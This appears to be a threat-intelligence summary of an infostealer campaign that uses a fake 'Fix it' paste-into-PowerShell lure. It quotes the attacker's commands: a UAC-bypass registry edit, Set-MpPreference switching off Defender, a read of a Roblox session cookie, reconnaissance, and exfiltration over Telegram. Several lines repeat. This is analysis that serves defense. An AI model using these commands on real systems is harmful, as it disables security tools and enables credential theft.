Loading malware…
20 distinct techniques documented for this family, organized by ATT&CK tactic.
A phishing mail was reported containing a suspicious link “https://drandrecastro.com[.]br”
When I inspected the mentioned page I found once the user clicks the “Fix it” it copies an encoded PowerShell command in the user's clipboard which the user will past in the PowerShell
Then we see it launches “cmd.exe” to modify registry to bypass UAC
reg add hkcu\Software\Classes\mssettings\shell\open\command ... /f
Following our analysis I found it started to drop “rar.exe” file and other Python libraries and dll under the Temp\_MEI61522 DIR ... used the dropped pyd files to achieve the injection purpose
used the dropped pyd files to achieve the injection purpose Then we see it launches “cmd.exe” to modify registry to bypass UAC to evade detection and elevate privilege
Following our analysis I found it started to drop “rar.exe” file and other Python libraries and dll under the Temp\_MEI61522 DIR ... used the dropped pyd files to achieve the injection purpose
cmd.exe ping localhost -n 3 > NUL && del /A H /F “C:\Users\admin\AppData\Local\Temp\Rar$EXa7672.37675\update.exe”
attrib +h +s “C:\Users\admin\AppData\Local\Temp\Rar$EXa7672.37675\update.exe” to hide and make the malware as a system file
reg add hkcu\Software\Classes\mssettings\shell\open\command ... /f
The PE file added itself to exclusions to evade disturbing or detection by MS defender ... Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true
The attacker read Eventlogs of the Defender probably to make sure it is working or he was detected wevtutil qe “Microsoft-Windows-Windows Defender/Operational” /f:text
powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
C:\WINDOWS\system32\cmd.exe /c “tasklist /FO LIST” to list tasks
Then the PE file started collecting information as using (Tasklist, getmac, machine info and etc)
it was taking screenshots for all displaying screens and then save them in the same DIR
once the user clicks the “Fix it” it copies an encoded PowerShell command in the user's clipboard
the stealer zipped the collected data files and sent them over the Telegram API “C:\Users\admin\AppData\Local\Temp\_MEI3002\rar.exe a -r -hp”cyber” “C:\Users\admin\AppData\Local\Temp\gNPwC.zip” *
It naviagtes to website called “www.thaisbobetx[.]com” to download a ZIP file called “update-live.zip”
the stealer zipped the collected data files and sent them over the Telegram API
5 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
1 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.